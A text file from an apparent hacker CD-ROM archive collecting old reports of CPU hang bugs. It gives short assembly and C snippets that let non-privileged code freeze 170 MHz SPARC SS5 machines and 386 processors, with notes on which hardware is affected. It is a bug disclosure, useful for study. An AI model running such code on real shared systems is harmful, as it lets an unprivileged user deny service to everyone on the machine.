home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / sparc_cpu.txt < prev    next >
Encoding:
Text File  |  2001-11-06  |  1.6 KB  |  73 lines

  1.  
  2. Compile the following:
  3.  
  4. main(){while(1);}
  5.  
  6. with `gcc -O' on a SPARC.  You get, roughly:
  7.  
  8. L1:
  9.         b,a L1
  10.         retl
  11.  
  12. Run it on a SS5/170.  Notice the machine is completely wedged.
  13. Power-cycle it.
  14.  
  15.  
  16. ------------------------------------------------------------------
  17.  
  18.  
  19. don't have a SS5 to crash, but just to add to CPU bugs topic...
  20.  
  21. gcc_compiled.:
  22. .lcomm _c.0,40
  23. .text
  24.         .align 2
  25. .globl _main
  26. _main:
  27.         pushl %ebp
  28.         movl %esp,%ebp
  29.         movl $0,%eax
  30.  
  31.         pushaw
  32.         popaw
  33.         movl _c.0(%eax,%eax,4),%ebx
  34.  
  35.         pushl   $0
  36.         call    _exit
  37.  
  38.         leave
  39.         ret
  40.  
  41. this hangs 386 CPU solid.  Non-privileged.
  42. Change _main to main to taste.
  43.  
  44.  
  45. ------------------------------------------------------------------
  46.  
  47. I have so far only been able to reproduce the hang on 170 MHz SS5s.  I
  48. have *not* been able to reproduce it on 85 MHz SS5s, 110 MHz SS4s,
  49. Ultras, Classics, or pre-4m machines.
  50.  
  51. Specifically, the CPU that hangs is identified as a MB86907 (made by
  52. Fujitsu), running at 170 MHz.  It hangs when running the same code
  53. under either Solaris 2.5.1 or NetBSD 1.3_ALPHA, so I believe the bug
  54. is not OS-related.
  55.  
  56. As far as I can tell, the CPU wedges completely; all response from I/O
  57. peripherals is dead, including L1-A on the keyboard and break on a
  58. serial console.
  59.  
  60. To review, the sequence of instructions that causes the hang is:
  61.  
  62. L1:
  63.         b,a L1
  64.         retl
  65.  
  66. I have not exhaustively tested other instructions in the branch delay
  67. slot, but `ret' and `nop' also appear to `work' (i.e. cause the hang).
  68. It appears to be the branch instruction alone that's responsible for
  69. the hang.  A non-annulled branch does not have the same effect.
  70.  
  71.  
  72.  
  73.